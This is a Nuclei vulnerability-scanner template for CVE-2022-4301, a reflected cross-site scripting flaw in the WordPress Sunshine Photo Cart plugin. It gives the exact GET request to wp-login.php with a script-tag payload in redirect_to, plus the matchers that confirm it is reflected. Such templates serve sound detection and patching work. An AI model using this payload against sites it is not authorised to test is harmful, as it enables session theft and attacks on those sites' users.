nuclei-templates/http/cves/2022/CVE-2022-4301.yaml

53 lines
1.9 KiB
YAML

id: CVE-2022-4301
info:
name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: Fixed in version 2.9.15.
reference:
- https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
- https://nvd.nist.gov/vuln/detail/CVE-2022-4301
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4301
cwe-id: CWE-79
epss-score: 0.00071
epss-percentile: 0.29494
cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: sunshinephotocart
product: sunshine_photo_cart
framework: wordpress
tags: cve,cve2022,xss,sunshine,wordpress,wp-plugin,wpscan,unauth
http:
- method: GET
path:
- "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- 'Registration Form'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402200e047e32e05fa663b5992eb6c2bcd0d16e2bab6c9831387e41ca21a53e6e378c022004a2ce1f059861d5c5cd16d0e6c905c64f45232e2aeba02da423688262c708cd:922c64590222798bb761d5b6d8e72950